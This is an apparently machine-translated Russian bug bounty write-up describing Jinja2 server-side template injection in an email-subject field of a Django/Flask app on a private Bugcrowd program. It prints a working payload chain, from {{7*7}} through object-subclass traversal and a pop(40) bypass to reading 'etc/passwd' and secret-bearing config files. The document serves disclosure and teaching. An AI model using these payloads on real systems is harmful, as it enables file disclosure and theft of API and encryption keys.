Я получил инвайт на приватную программу на bugcrowd. Программа не имеет большого объема, просто одно приложение с множеством функций для тестирования. Мне обычно нравятся такие программы, потому что я не очень хорошо разбираюсь в разведке.
Первая мысль: давайте узнаем, с помощью какой технологии построен веб-сайт. Для этого я использую wappalyzer. Они использовали Angular dart, python Django и flask.
+. Будучи разработчиком Python в течение последних нескольких лет, я знаю, где обычно разработчик совершает ошибки.
Была одна утилита под названием workflow builder. которые используются для построения финансового процесса закрытия. С его помощью вы можете автоматизировать повседневные действия, такие как отправка утверждения и отправка электронных писем с напоминаниями. Мое внимание привлекла функция отправки электронных писем, потому что в большинстве случаев это приложение-генератор электронной почты уязвимо для внедрения шаблона. Поскольку этот веб-сайт построен на Python, я был совершенно уверен, что они должны использовать шаблон Jinja2.
Функция отправки электронной почты имеет 3 поля. Кому, название и описание. Я установил {{7 * 7}} в качестве заголовка и описания и нажимаю кнопку "Отправить электронное письмо". Я получил электронное письмо, в котором указано «49» в качестве темы и {{7 * 7}} в качестве описания. Таким образом, предметное поле было уязвимо для внедрения шаблона.
Полезная нагрузка: {{7 * 7}}
в основном это оценивает код Python в фигурных скобках. Я попробовал другую полезную нагрузку, чтобы получить список подклассов класса объекта.
Полезная нагрузка: {{[] .__ class __.__ base __.__ subclasses __ ()}}
Я получил письмо со списком подклассов класса объекта. как показано ниже
Позвольте мне объяснить вам эту полезную нагрузку,
Если вы знакомы с python, возможно, вы знаете, что мы можем создать список, используя «[]». Вы можете попробовать это в интерпретаторе Python.
- Класс доступа к списку
>>> [].__class__
<type 'list'> #return class of list
2. Доступ к базовому классу списка.
>>> [].__class__.__base__
<type 'object'> #return base class of list
Список является подклассом класса «объект».
3. Доступ к подклассам класса объекта.
>>> [].__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>.....
Итак, наша полезная нагрузка дает нам список всех подклассов «объектного» класса.
Я сообщил об этой проблеме как есть, надеясь, что мне не придется идти дальше, чтобы доказать, что она оказывает значительное влияние. bugcrowd triager ответьте мне этим
Хорошо, теперь я должен предоставить POC, чтобы доказать влияние этой проблемы, чтобы пометить ее как P1.
У большинства приложений django есть файл конфигурации, который содержит действительно конфиденциальную информацию, такую как ключи AWS, API и ключи шифрования. У меня есть путь к этому файлу конфигурации из моих предыдущих выводов. Итак, я решил прочитать этот файл.
Для чтения файла в Python необходимо создать объект «файл». У нас уже есть список всех подклассов «Класс объекта».
Найдем индекс класса файла
>>> [].__class__.__base__.__subclasses__().index(file)
40 #return index of "file"
object
Когда вы запустите «[].__class__.__base__.__subclasses__().index(file)
» эту полезную нагрузку в интерпретаторе Python, вы получите индекс объекта «файл».
Я попробовал ту же полезную нагрузку, но ничего не дал, что-то не так. Я попытался получить доступ к другим объектам, но он дал аналогичную ошибку, не вернув никакого значения.
Затем я решил получить прямой доступ к файловому объекту, поскольку мы знаем, что индекс файлового объекта в списке подклассов «Object» равен «40.
Я попробовал эту полезную нагрузку {{[].__class__.__base__.__subclasses__()[40] }}
но безуспешно, эта полезная нагрузка также возвращает результат, аналогичный показанному на изображении выше. Полезная нагрузка где-то ломается, но не может найти где.
После некоторого исследования я пришел к выводу, что индексирование может блокировать или нарушать мою полезную нагрузку.
Если вы немного знакомы с python, возможно, вы знаете, что существует несколько методов для возврата значения в списке, один из методов использует функцию «pop».
>>> [1,2,3,4,5].pop(2) 3
Вышеупомянутый код возвращает третье значение списка и удаляет его из этого списка. Итак, теперь моя новая полезная нагрузка
{{[].__class__.__base__.__subclasses__().pop(40) }}
Вышеуказанная полезная нагрузка дает мне объект «файл».
Хорошо, теперь у меня есть объект «файл», я могу читать любой файл на сервере. Давайте прочитаем файл «etc / passwd».
Полезная нагрузка: {{[].__class__.__base__.__subclasses__().pop(40)('etc/passwd').read() }}.
Наконец, я смог читать файлы на сервере. Я также могу читать локальные файлы в экземпляре GCE, отвечающем за отправку уведомлений, включая некоторый исходный код и файлы конфигурации, содержащие очень конфиденциальные значения (например, API и ключи шифрования).
Спасибо за чтение. Если вам понравилась эта статья, поделитесь ею. Вы можете задать любые вопросы, просто напишите мне на акшукаткар.
- - Утренняя звезда